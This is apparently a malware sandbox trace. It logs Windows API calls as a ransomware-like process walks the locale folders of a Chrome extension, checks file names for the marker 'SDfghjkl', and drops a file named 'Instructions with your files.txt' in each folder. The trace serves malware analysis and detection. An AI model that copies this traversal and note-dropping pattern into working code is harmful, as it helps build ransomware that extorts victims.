[0129.664] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa", cAlternateFileName="")) returned 1
[0129.664] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa") returned 141
[0129.664] GetProcessHeap () returned 0x810000
[0129.664] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.664] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*") returned 143
[0129.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.665] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\.") returned 143
[0129.665] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.665] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\..") returned 144
[0129.665] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.665] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 155
[0129.665] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.665] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.665] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\Instructions with your files.txt") returned 174
[0129.665] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.665] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.666] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.666] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.666] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.666] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.666] CloseHandle (hObject=0x134) returned 1
[0129.666] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.666] GetProcessHeap () returned 0x810000
[0129.667] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.667] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
[0129.667] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi") returned 141
[0129.667] GetProcessHeap () returned 0x810000
[0129.667] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.667] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*") returned 143
[0129.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.668] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\.") returned 143
[0129.668] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.668] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\..") returned 144
[0129.668] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.668] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 155
[0129.668] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.668] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.668] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\Instructions with your files.txt") returned 174
[0129.668] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.668] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.669] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.669] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.669] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.669] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.669] CloseHandle (hObject=0x134) returned 1
[0129.670] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.670] GetProcessHeap () returned 0x810000
[0129.670] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.670] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1
[0129.670] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil") returned 142
[0129.670] GetProcessHeap () returned 0x810000
[0129.670] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.670] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*") returned 144
[0129.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.670] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\.") returned 144
[0129.670] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.670] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\..") returned 145
[0129.670] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.670] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 156
[0129.670] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.670] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.670] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\Instructions with your files.txt") returned 175
[0129.670] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.671] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.672] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.672] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.672] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.672] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.672] CloseHandle (hObject=0x134) returned 1
[0129.672] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.672] GetProcessHeap () returned 0x810000
[0129.672] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.672] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
[0129.672] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr") returned 141
[0129.672] GetProcessHeap () returned 0x810000
[0129.672] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.672] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*") returned 143
[0129.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.673] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\.") returned 143
[0129.673] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.673] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\..") returned 144
[0129.673] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.673] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 155
